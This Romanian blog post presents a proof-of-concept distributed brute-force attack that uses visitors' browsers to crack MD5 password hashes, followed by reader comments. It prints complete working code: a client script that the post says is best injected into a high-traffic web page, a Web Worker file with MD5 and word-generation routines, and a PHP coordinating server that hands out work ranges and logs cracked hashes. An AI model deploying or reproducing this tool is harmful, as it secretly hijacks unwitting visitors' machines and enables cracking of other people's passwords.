Atac distribuit Brute Force folosind Browserul – POC
5Aparitia browserelor moderne a adus foarte multe avantaje ce au dus la dezvoltarea web-ului intr-un mod pozitiv. Totusi, acest lucru a adus cu el si foarte multe probleme de securitate, dar si noi metoda de punere in valoare a unor atacuri vechi. Probabil toti ati auzit de posibilitatea de a face operatii sincronizate in timp real, fara a efecta linia de executie in browserele actuale (si cele ceva mai vechi). “Web-workers†– un nou API ce permite rularea a unui script js pe o alta linie de executie (thred) creata de browser pentru pagina web, acest lucru permite efectuarea de operatii complexe fara a mai bloca interactiunea utilizatorului cu pagina web.
Aceasta tehnologie a permis aparitia unui nou tip de brute force, “brute force browser distributed attack†care utilizeaza o pagina web pentru a executa spargerea unui anumit sistem de securitate in cazul acesta va fi un exemplu de spargere a unui hash MD5.
Txdev a creat un POC legat de aceasta tehnologie cat si de modul cum se poate instantia un atac brute force prin browser. Conceptul are la baza structura unei aplicatii standalone – server & client.
Partea de client va contine un fisier Javascript ce va fi incarcat in browser, acesta face cererea catre server utilizand Ajax, primeste un raspuns de la server, web workerul va incarca al doilea script Javascript (work.js) si va trimite catre server cateva informatii ce il vor ajuta sa deduca punctul la care s-a ajuns. Scriptul work.js cuprinde cateva functii necesare pentru a crea atacul brute force printre care functia de generare a hashului md5, precum si cea de generare a tuturor cuvintelor de diverse dimensiuni. Script-ul work.js va genera si testa numarul de cuvinte primit ca parametru de la pozitia primita, dupa care va returna catre script-ul js cuvintele gasite si pozitia de start.
Partea de server va cuprinde serverul ce va trimite pentru fiecare client o noua pozitie de start si va astepta raspunsul de la acesta. Serverul poate fi un script PHP sau chiar un server dedicat, al doilea avand de multe ori un timp de raspuns mai bun decat al serverului PHP. Serverul trebuie sa aiba activata extensia APC ce este utilizata ca o alternativa NoSQL pentru a memora in cache pozitiile trimise de catre clienti si alte variabile utilizate.
Articolul scris de txdev explica foarte bine codul ce l-a facut, asa ca nu ma astept la probleme de intelegere a conceptului.
Acesta este script-ul care va face cererile catre server, creeaza o noua linie de executie pentru script-ul work.js si returneaza rezultatul primit de la work.js catre server. De preferinta injectat intr-o pagina web cu trafic.
<script> /* code by : tdxev version : 2010.10.11 website : http://www.tdxev.com team : http://www.insecurity.ro documentation : -javascriptWorkers: http://ejohn.org/blog/web-workers/ */ //adresa pagini script-ului PHP //address of the PHP script var theServer = ''; //adresa pagini script-ului js worker //address of the js worker script var theWorker = 'work.js'; //Ajax object function GetXmlHttpObject(){ var xmlHttp=null; try {xmlHttp=new XMLHttpRequest();} // Firefox, Opera 8.0+, Safari catch (e){ // Internet Explorer try {xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");} catch (e){ xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");}} return xmlHttp; } //creeaza o cerere catre server pentru a primi o noua valoare de start //make a request to the server to get another start value function makeRequest(url){ var objAjax = new GetXmlHttpObject; if (objAjax) { objAjax.onreadystatechange = function (){ if (objAjax .readyState == 4){ if (objAjax.status== 200){ // creeaza un obiect din valorile date // make a object from given values eval('var json='+objAjax.responseText); // apeleaza functia care creeaza obiectul worker // call the function that create the object worker laMunca(json); } else { alert("AjaxError : " + objAjax.status) } } } objAjax.open("GET",url,true); objAjax.send(null); } else {alert('No Ajax')} } //creeaza obiectul worker si seteaza functia de callback //make the object worker and set the callback function function laMunca(msg){ worker = new Worker(theWorker); //functia ce va fi executata la primirea rezultatului de la worker //function that will be executed when the result from the worker will be received worker.onmessage = function(param){ // creeaza o noua cerere pentru o noua pozitie de start & trimite cuvintele gasite // make a new request for start position & send words found makeRequest(theServer+'?cmd=getNr&oldNr='+param.data.startFrom+'&text='+param.data.wordFound); }; // trimite obiectul primit ca parametru mai departe catre woker // send received object as parameter to the worker worker.postMessage(msg); } makeRequest(theServer+'?cmd=getNr');
Fisierul work.js
/* code by : tdxev version : 2010.10.11 website : http://www.tdxev.com team : http://www.insecurity.ro documentation : -javascript md5 : http://www.webtoolkit.info/javascript-md5.html -wordGeneratorBackDoor : http://www.tdxev.com/php-word-generator-without-generate-the-entire-list/ */ var MD5 = function (string) { function RotateLeft(lValue, iShiftBits) { return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); } function AddUnsigned(lX,lY) { var lX4,lY4,lX8,lY8,lResult; lX8 = (lX & 0x80000000); lY8 = (lY & 0x80000000); lX4 = (lX & 0x40000000); lY4 = (lY & 0x40000000); lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF); if (lX4 & lY4) { return (lResult ^ 0x80000000 ^ lX8 ^ lY8); } if (lX4 | lY4) { if (lResult & 0x40000000) { return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); } else { return (lResult ^ 0x40000000 ^ lX8 ^ lY8); } } else { return (lResult ^ lX8 ^ lY8); } } function F(x,y,z) { return (x & y) | ((~x) & z); } function G(x,y,z) { return (x & z) | (y & (~z)); } function H(x,y,z) { return (x ^ y ^ z); } function I(x,y,z) { return (y ^ (x | (~z))); } function FF(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function GG(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function HH(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function II(a,b,c,d,x,s,ac) { a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac)); return AddUnsigned(RotateLeft(a, s), b); }; function ConvertToWordArray(string) { var lWordCount; var lMessageLength = string.length; var lNumberOfWords_temp1=lMessageLength + 8; var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64; var lNumberOfWords = (lNumberOfWords_temp2+1)*16; var lWordArray=Array(lNumberOfWords-1); var lBytePosition = 0; var lByteCount = 0; while ( lByteCount < lMessageLength ) { lWordCount = (lByteCount-(lByteCount % 4))/4; lBytePosition = (lByteCount % 4)*8; lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition)); lByteCount++; } lWordCount = (lByteCount-(lByteCount % 4))/4; lBytePosition = (lByteCount % 4)*8; lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition); lWordArray[lNumberOfWords-2] = lMessageLength<<3; lWordArray[lNumberOfWords-1] = lMessageLength>>>29; return lWordArray; }; function WordToHex(lValue) { var WordToHexValue="",WordToHexValue_temp="",lByte,lCount; for (lCount = 0;lCount<=3;lCount++) { lByte = (lValue>>>(lCount*8)) & 255; WordToHexValue_temp = "0" + lByte.toString(16); WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2); } return WordToHexValue; }; function Utf8Encode(string) { string = string.replace(/\r\n/g,"\n"); var utftext = ""; for (var n = 0; n < string.length; n++) { var c = string.charCodeAt(n); if (c < 128) { utftext += String.fromCharCode(c); } else if((c > 127) && (c < 2048)) { utftext += String.fromCharCode((c >> 6) | 192); utftext += String.fromCharCode((c & 63) | 128); } else { utftext += String.fromCharCode((c >> 12) | 224); utftext += String.fromCharCode(((c >> 6) & 63) | 128); utftext += String.fromCharCode((c & 63) | 128); } } return utftext; }; var x=Array(); var k,AA,BB,CC,DD,a,b,c,d; var S11=7, S12=12, S13=17, S14=22; var S21=5, S22=9 , S23=14, S24=20; var S31=4, S32=11, S33=16, S34=23; var S41=6, S42=10, S43=15, S44=21; string = Utf8Encode(string); x = ConvertToWordArray(string); a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476; for (k=0;k<x.length;k+=16) { AA=a; BB=b; CC=c; DD=d; a=FF(a,b,c,d,x[k+0], S11,0xD76AA478); d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756); c=FF(c,d,a,b,x[k+2], S13,0x242070DB); b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE); a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF); d=FF(d,a,b,c,x[k+5], S12,0x4787C62A); c=FF(c,d,a,b,x[k+6], S13,0xA8304613); b=FF(b,c,d,a,x[k+7], S14,0xFD469501); a=FF(a,b,c,d,x[k+8], S11,0x698098D8); d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF); c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1); b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE); a=FF(a,b,c,d,x[k+12],S11,0x6B901122); d=FF(d,a,b,c,x[k+13],S12,0xFD987193); c=FF(c,d,a,b,x[k+14],S13,0xA679438E); b=FF(b,c,d,a,x[k+15],S14,0x49B40821); a=GG(a,b,c,d,x[k+1], S21,0xF61E2562); d=GG(d,a,b,c,x[k+6], S22,0xC040B340); c=GG(c,d,a,b,x[k+11],S23,0x265E5A51); b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA); a=GG(a,b,c,d,x[k+5], S21,0xD62F105D); d=GG(d,a,b,c,x[k+10],S22,0x2441453); c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681); b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8); a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6); d=GG(d,a,b,c,x[k+14],S22,0xC33707D6); c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87); b=GG(b,c,d,a,x[k+8], S24,0x455A14ED); a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905); d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8); c=GG(c,d,a,b,x[k+7], S23,0x676F02D9); b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A); a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942); d=HH(d,a,b,c,x[k+8], S32,0x8771F681); c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122); b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C); a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44); d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9); c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60); b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70); a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6); d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA); c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085); b=HH(b,c,d,a,x[k+6], S34,0x4881D05); a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039); d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5); c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8); b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665); a=II(a,b,c,d,x[k+0], S41,0xF4292244); d=II(d,a,b,c,x[k+7], S42,0x432AFF97); c=II(c,d,a,b,x[k+14],S43,0xAB9423A7); b=II(b,c,d,a,x[k+5], S44,0xFC93A039); a=II(a,b,c,d,x[k+12],S41,0x655B59C3); d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92); c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D); b=II(b,c,d,a,x[k+1], S44,0x85845DD1); a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F); d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0); c=II(c,d,a,b,x[k+6], S43,0xA3014314); b=II(b,c,d,a,x[k+13],S44,0x4E0811A1); a=II(a,b,c,d,x[k+4], S41,0xF7537E82); d=II(d,a,b,c,x[k+11],S42,0xBD3AF235); c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB); b=II(b,c,d,a,x[k+9], S44,0xEB86D391); a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD); } var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d); return temp.toLowerCase(); } //functia ce genereaza cuvintele //function that generate the words function wordGeneratorBackDoor(charset,nr){ w=charset.length; if (nr<=w){return charset.substr(nr-1,1);} CLb=1; CLsum=0; CLsumi=0; CLnr=0; while (nr>CLsum){ CLnr++; CLsumi += CLb; CLb = Math.pow(w,CLnr); CLsum += CLb; } CLsumi--; CLp=nr-CLsumi; CLcur=CLb*w; thex=''; for (i=CLnr; i>0; i--){ CLcur=CLcur/w; m=CLcur/w; if (m==1){ rest=nr%w; if (rest==0) {thex += charset.substr(w-1,1);} else {thex += charset.substr(rest-1,1);} } else { for (k=1; k<=w; k++){ if (((m*k)>=CLp) && (CLp < (m*(k+1)))){ thex += charset.substr(k-1,1); if (k>1) {CLp=CLp-((k-1)*(m));} k=w+1; } } } } return thex; } //lista de hash-uri ce trebuie spart //list of hashes that need to be cracked var theHash = new Array( '47bce5c74f589f4867dbd57e9ca9f808', '7815696ecbf1c96e6894b779456d330e', '912ec803b2ce49e4a541068d495ab570'); //setul de caractere ce va fi utilizat pentru brute force //character set that will bee used for brute force var theCharSet='abcdefghijklmnopqrstuvwxyz0123456789_'; onmessage = function(param){ var msg=''; var word=''; var startPos = parseInt(param.data.startFrom); var tryNr = parseInt(param.data.tryN); for (g=startPos; g<startPos+tryNr; g++){ word = wordGeneratorBackDoor(theCharSet,g); theHash.forEach(function(val){if (MD5(word)==val) { msg += val+'='+word }; }); }; var raspuns = {'startFrom':param.data.startFrom,'wordFound':msg} postMessage(raspuns); };
Fisierul server.php
<?php /* code by : tdxev version : 2010.10.11 website : http://www.tdxev.com team : http://www.insecurity.ro system requirements : -RO:extensia APC trebuie sa fie activa pe server & Browser-ul sa suporte Web Workers -EN:the extension APC must be active on the server & Browser suport for Web Workers documentation : -APC extension : http://www.php.net/manual/en/book.apc.php */ # numarul de cuvinte pe care fiecare client urmeaza sa il incerce pentru a sparge hash-ul # the number of words that each client will try for breaking the hash $GLOBALS['incrBy'] = 500; # numele fisierului in care sunt salvate hash-urile sparte # name of the file that will contain the broken hash $GLOBALS['theFile'] = 'hash.txt'; # pozitia de la care incepe spargerea hash-ului # the position from which the breaking of the hash will start $GLOBALS['StartFrom'] = 0; # timpul in care un client trebuie sa raspunda & daca este depasit acest timp lista este trimisa care alt client # the time in which a client must respond & if this time is exceeded the list is sent to another client $GLOBALS['respondTimeLimit'] = 60; # (seconds) $GLOBALS['appDebug']=true; if($_GET['cmd']=='getNr'){SendNewCommand();} if($_GET['text']!=''){file_put_contents($GLOBALS['theFile'],file_get_contents($GLOBALS['theFile'])."\r\n".$_GET['text']);} function SendNewCommand(){ # salveaza raspunsul de la client || raspunsul este pozitia de start de la care clientul a incercat sa sparga hash-ul # save the response from the client || the response is the start position from where the client will try to break the hash $oldNr = (float) $_GET['oldNr']; # lista ce pastreaza pozitiile de start trimise catre fiecare client # the list that saves the start position sent to the each client $theList = apc_fetch('theList'); # lista ce pastreaza pozitiile de start ce au fost trimise si nu am primit raspuns in intervalul de timp setat # the list that keeps the start positions that have been send and we have not been answered in the set time range $urgentList = apc_fetch('urgentList'); # daca nu este definita variabila currentNr inseamna ca nu inceput procesul de spargere # if the variable currentNr is not defined it means that the process of breaking is not started if (apc_fetch('currentNr')===false){ # initializa valoarea variabilei currentNr cu valoarea de pornire (vezi : $StartFrom) # initiates the value of currentNr whit the value of start (see : $StartFrom) apc_add('currentNr', $GLOBALS['StartFrom']); apc_add('startTime', time()); } # daca procesul de spargere a inceput # if the breaking process has started else { apc_store('unset', ''); # salveaza data curenta & va fi utilizata pentru a calcula cat timp a trecut de la o cerere # save the current date & will be used to calculate the time elapsed from a request $curDT = time(); # proceseaza lista $theList pentru a vedea daca este vreun script care (nu) a trimis un raspuns # processes the list $theList to see if there is any script that did (not) send a response if(($theList!==false) && (count($theList) > 0)) foreach($theList as $i => $value){ # sterge din lista pozitiile de start pentru care a fost returnat un rezultat # delete from the list the start position for which was send a result if ($oldNr==$theList[$i][0]){ if ($GLOBALS['appDebug']) { // for debug only apc_store('last', $theList[$i][0]); apc_store('time', ((float) $curDT - (float) $theList[$i][1])); } #sterge din lista valoare de start pentru care s-a primit un raspuns #delete from the list the start value for which was send a result unset($theList[$i]); } else # daca s-a depasit timpul setat pentru raspuns atunci muta pozitia curenta de start in lista 'urgentList' # if the time set for response has been exceeded the current start position will be moved to the list 'urgentList' if (((float) $curDT - (float) $theList[$i][1]) > $GLOBALS['respondTimeLimit']) { # adauga pozitia de start curenta pe lista de urgente # add the current start position on the urgent list $urgentList [] = $theList[$i]; # sterge pozitia de start din lista ce a fost trimisa catre clienti # delete the current start position from the list that was send to the clients unset($theList[$i]); } } # daca lista 'urgentList' nu este goala # if the list 'urgentList' is not empty if (($urgentList!==false) && (count($urgentList) > 0)) { # preia ultimul element # get the last element $last=end($urgentList); # creeaza o nou array pentru a fi trimis catre client & adaugat in lista 'theList' (pozitia de start: data curenta) # create a now array to be sent to the client & add to the list 'theList' (start position : current position) $newLine=array($last[0],$curDT); # sterge din lista de urgente ultimul element # delete from the list the last element array_pop($urgentList); } else { # daca lista 'urgentList' este goala # if the list 'urgentList' is empty # preia valoarea de start la care s-a ajuns # get the current value $curNr = apc_fetch('currentNr'); # preia valoarea curenta o incrementeaza cu 'incrBy'; # get the current start value and increment it with 'incrBy' apc_store('currentNr', $curNr+$GLOBALS['incrBy']); # creeaza o nou array pentru a fi trimis catre client & adauga in lista 'theList' (pozitia de start: data curenta) # create a new array to be sent to the client & add to the list 'theList' (start position : current position) $newLine = array($curNr,$curDT); } # adauga in lista 'theList' de pozitii de start trimise catre clienti pozitia actuala # add the actual position to 'theList' that keep the start positions sends to the clients the actual position $theList[] = $newLine; # salveaza lista cu pozitiile de start trimise # save the list with the start position sent apc_store('theList', $theList); # salveaza lista cu pozitiile de start pentru care s-a depasit timpul limita # save the list with the start positions for which the time limit was exceeded apc_store('urgentList', $urgentList); // salveaza lista de urgente } // else if end # trimite catre client pozitia de start curenta si numarul de cuvinte pe care sa il incerce # send to the client the current start position and the number of words that the client will try echo json_encode(array('startFrom'=>$newLine[0],'tryN'=>$GLOBALS['incrBy'])); exit(); } ?>
Autorul proiectului a creat si un server Open Source in Delphi ce il gasiti pe pagina articolului original. Nu ramane decat sa va jucati voi cu acest snippet. 🙂
Hmmm presupunem ca ai 1000 vizitatori unici pe zii , fiecare dintre ei iti calculeaza in medie 100 Miliaone Hash’uri asta ar venii 100 bilione de hashuri pe zi sau 10^11 care e inca un numar infinit de mic fatza de 2^128 calculat de unii ca fiind 3.40282367 × 10^38.
Insa cred ca acest sistem ar duce la spargerea unei parole de 10-15 caractere in cateva zile 😕 Oricum ingenios.
Super articolul ! Imi permiti sa il distribui pe retelele de socializare ?
E foarte bine realizat.
Felicitari lui tdxev.
@Alex Cred ca articolul avea menirea de a sublinia o problema grava actuala si punerea rotitelor din creier la munca pentru a realiza un mecanism care sa rezolve aceasta problema, desi, in mod aproape sigur e cam greu. 🙂
Wow that was odd. I just wrote an very long comment but after I
clicked submit my comment didn’t show up. Grrrr… well I’m
not writing all that over again. Anyways, just wanted to say wonderful blog!
Feel free to visit my blog – rochii elegante